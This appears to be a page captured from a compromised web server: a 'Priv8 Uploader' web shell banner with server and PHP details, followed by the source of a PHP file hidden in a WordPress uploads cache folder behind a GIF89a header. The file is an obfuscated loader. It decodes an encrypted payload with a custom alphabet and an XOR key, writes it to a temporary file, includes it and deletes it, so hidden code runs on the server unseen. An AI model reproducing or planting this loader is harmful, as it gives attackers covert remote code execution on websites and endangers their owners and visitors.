GIF89a;

Priv8 Uploader By InMyMine7

Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
HEX
HEX
Server: Apache
System: Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
User: web78 (5067)
PHP: 8.3.30
Disabled: exec,shell_exec,system,passthru,popen,proc_open,pcntl_exec
Upload Files
File: /var/www/clients/client41/web78/web/wp-content/uploads/2024/.cache/modules/cheetah.php
<?php
$encrypted = 'UF4dChxsZ0YcABkKTFxNCx8SCBZERTIlKTU2RRwAGQpLPERCU0EfBw0NHQMYCUVGMyYoNjdGHQMYCUo_RUFXQgIUAQ5XbGdGCA4OFwEEAxY-DgIWTFxNEAkAARINFQVKCwQZARsFRUtFWmBoYWsEBExJTEYcABkKTB0RQk0IHj0ICB9KSBEMFgRIREIXbGdCTEFNBgUERUUFDw4NHhMIARhBCQseBA4WAxMURUVaYGgRbGdvZkUABx8SDAUJQVBCS0ZWb2ZsZwsKQUVGMzIoMDokPzlLMygzOSQ-NjMsKDYkLilFMUFQX1FBSjIjMjlFRUEWb2ZBTUJMRQMHGyUEECIAAAdMXE0LHxIIFkRFMjIjMjk5Sw8IFTMFBBACAAAHSzxEQlNBGRAFDEVGMzEiMTg6SgwJFjIGBRMDAwEESj9FQVdCS0ZWb2ZsZ29mQU1CTAgLQkRFAwcbJQQQIgAAB0xAUF9MRkpLTBpgaExBTUJMQU1CSBUMEAsEGSYFE01fTEUdAxgJTUxMJSQwKSI5LT44MjEpMSwwLTUiMExPTQANEggMDQwISkgPCBUoCB8sDQwIS1dsZ29mQU1CTEFNQkwIC0JEQAsLAAQyBxQIHhYfSUkWDRMKBxglBBBFSE0ZYWtNQkxBTUJMQU1CTEEEBExJAAkICB9KSBUMEAsEGSYFE0FCXFZYV0VITRlha01CTEFNQkxBTUJMQU1CTEFJDwkSHgMLBE1fTEMJCx4EDhYDExRCDxMIAxgECUNOWmBoTEFNQkxBTUJMQU1CEUEIDh8ETRlha01CTEFNQkxBTUJMQU1CTEFJDwkSHgMLBE1fTEMLAwUNCAZMFQJCDxMIAxgETQYFEwgBGA4fG1dDVm9mQU1CTEFNQkxBTUJMHGBoTEFNQkxBTUIRQQgOHwRNGWFrTUJMQU1CTEFNQkxBSQ8JEh4DCwRNX0xDCQseBA4WAxMUQg0NHwcNBRRCCRkEERgSVkBXbGdCTEFNQkxBTR9ha01CTEEQQgkNHgdMGmBoTEFNQkxBTUJIDAgRHwAKB0xcTUAICB8HDxUCEBVBAwMBBE0LH0EfBx0UBBAJBVZAV2xnQkxBTR9haxBvZl5Tb2ZsZ15NJSIhODg9J0wJGQ8AX2BoUAkZDwBfYGhQCQgDCF9gaExBTUJQDAgWDUEOCg0THgcYXE83OCdAWk5fYGhMQU1CUBIZGwAEU29mQU1CTEFNQkwDAgYVQRZvZkFNQkxBTUJMQU1CTAMMAQcGHw0ZDwlPDw4BDR5bTUFdBFwHXQRWb2ZBTUJMQU1CTEFNQkwCAg4DE1dCTwcMBFwEW1lha01CTEFNQkxBTUJMQQsNAhVABA0MBA4VW00PAw8CERwADgdXbGdCTEFNQkxBTR9ha01CTEFNQkxBGQcUFQwQCQBNGWFrTUJMQU1CTEFNQkxBGgsIFQVYTFJdR1dsZ0JMQU1CTEFNQkxBTQoJCAoKGFtNVlwXBVlha01CTEFNQkxBTUJMQQ8DDwoKEAMUAwZBAgIOAxNXQk9TD1AOUw9ZYWtNQkxBTUJMQU1CTEEODQAOH1hMQgsDClEIVFdsZ0JMQU1CTEFNQkxBTQADEwkHHltNUxwZTREDDQQGTEJZVlhaYGhMQU1CTEFNQkxBTUIcAAkGBQ8KWExQXRIUWmBoTEFNQkxBTUJMQU1CCg4DFkESBBgJW01TWBEVWWFrTUJMQU1CTEEQb2ZBTUJMQU1CTE8ABx8SDAUJQRZvZkFNQkxBTUJMQU1CTAICDgMTV0IACAoKGAYfBwkPVm9mQU1CTEFNQkxBTUJMEQwGCAgDBVZBXFIcGVZvZkFNQkxBTUJMHGBoTEFNQkxBTUIOFBkWAw9NGWFrTUJMQU1CTEFNQkxBDwMPCgoQAxQDBkECAg4DE1cQCwMMSl1ZQUJdUlVOTFBfUEBBXUxbWURZYWtNQkxBTUJMQU1CTEEFBwUGBRZWQV9XHBlWb2ZBTUJMQU1CTEFNQkwCAg4DE1dCTycrJFQlLllha01CTEFNQkxBTUJMQQADHgYEDEETBAUEFVdCXVEdGldsZ0JMQU1CTEFNQkxBTQADEwkHHkwfAwgIGBFWQV4SFFpgaExBTUJMQU1CTEFNQg4OHwYJE1dCAg4DB1dsZ0JMQU1CTEFNQkxBTRINBQkLAgZXQlgRFUJdUx0aV2xnQkxBTUJMQU1CTEFNBAMPGU8KAAALABhXQksrCBYuEwwLAhJNLwMPAkVAQUohAxQfCwkTTSwJFkpOTCICFx4ICBBAQQANAg4eEg0CCFlha01CTEFNQkxBTUJMQQsNAhVAEQUbCFhMUF4SFFpgaExBTUJMQU1CTEFNQg8UHxEDE1dCHA4EDBgEH1lha01CTEFNQkxBTUJMQRkHFBVAAwAICgxWQQ4HAhUIEFdsZ0JMQU1CTEFNQkxBTRYJGRlPCAQODR4AGQsDD1dCAg4DB1dsZ0JMQU1CTEFNQkxBTRYeAAMRBRUEDQJbTQMADU1SQlBYEUwEDBEJWmBoTEFNQkxBTUIRbGdCTEFNQkxBTQAZFRkNAlsFDRoEH0IXbGdCTEFNQkxBTUJMQU0AAxlAEQQACQ0bW01STFMdGkxZHRpMEwoADUlbV0BBW1dAQVtXQEFdTFtIVm9mQU1CTEFNQkxBTUJMAwwBBwYfDRkPCU8PDgENHlsfBQ4ARVNfWUFCXVlBQlhZQUJcT1paRVpgaExBTUJMQU1CTEFNQgoOAxZBEgQYCVtNU18RFVlha01CTEFNQkxBEG9mQU1CTEFNQkxPCwsABCgGBRUIEEwaYGhMQU1CTEFNQkxBTUIYBBUWQQABCwsPV0IPBAMWCRNWb2ZBTUJMQU1CTEFNQkwCAg4DE1dCTwcMBFwEW1lha01CTEFNQkxBEG9mQU1CTEFNQkxPBQcNBQgQTBpgaExBTUJMQU1CTEFNQgoOAxZBBwwPBQ0UWExGLg0ZEwQHHkEjBxtGQUIvDhgQBQQfTkwMAgwDEh0DDwRWb2ZBTUJMQU1CTEFNQkwHAgwYTB4LFgRXQl1VXUdXbGdCTEFNQkxBTR9ha01CTEFNQkxBBAwcFBk5GBgdB1FDGQcUFU8_TBpgaExBTUJMQU1CTEFNQg4ADgkLEwIXAgVAAQMNAhBWQU5TCVAIUwlaYGhMQU1CTEFNQkxBTUIPDgENHltNQQoAC1IJV1ZvZkFNQkxBTUJMQU1CTAMCEAgEH1hMUB0aTBICDgUFTUFZVFhZYWtNQkxBTUJMQU1CTEEdAwgFBAwLW01WHBlWb2ZBTUJMQU1CTEFNQkwHAgwYTAsDAQgBG1ZBAA0CDh4SDQIIWWFrTUJMQU1CTEFNQkxBAAMeBgQMQQ0IBBhbTVNcERVZYWtNQkxBTUJMQU1CTEEaCwgVBVhMU11SHBlWb2ZBTUJMQU1CTBxgaExBTUJQTh4WFQ0IXGFrUU0EBAwGUmxnXg4OCRtSbGdCTEFNXggIG0IPDQwRH1xPBAUNCCcICBkHHkNTb2ZBTUJMQU1CTF0LDR4MTQ8JFQUNCFxPMiMyOUBSbGdCTEFNQkxBTUJMQU1eCAgbQg8NDBEfXE8KCQAJBx5DU29mQU1CTEFNQkxBTUJMQU1CTF0EDBwUGUIYGB0HUUMZBxQVT0ICAAAHUUMDBxs-CQseDwwPCUNNEgAADgcEDgEGCRNQQAIEGj0ICB8MDQwIQEwXDA4ZBFBATl9gaExBTUJMQU1CTEFNQkxBTUJQAxgWGA4DQhgYHQdRQx4XDgwEFk5fLhAJABkHUE4PFxgVAgxSbGdCTEFNQkxBTUJMQU1CTEFNXlMRBRJMCAtCREAIDxwVFEpIDAgRHwAKB0VITQcPCQJCS10JCxpBDg4NEh5fTgwIER8ACgdOX0pCQkEFFgENHhIJAgQDAAIFAx4SRUYBBB4RDQYIS0xPTUVQTgkLGl9KWUxeU29mQU1CTEFNQkxBTUJMXUIGBRdTb2ZBTUJMQU1CTF1CBAMTAFxha01CTEFRTQgIG1xha1FNDg4JG1JsZ15DCRkPAF9gaA';
if (!function_exists('scorpion')) {
    function scorpion($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), scorpion($encrypted, 'lamb'));
include $tmp;
unlink($tmp);

?>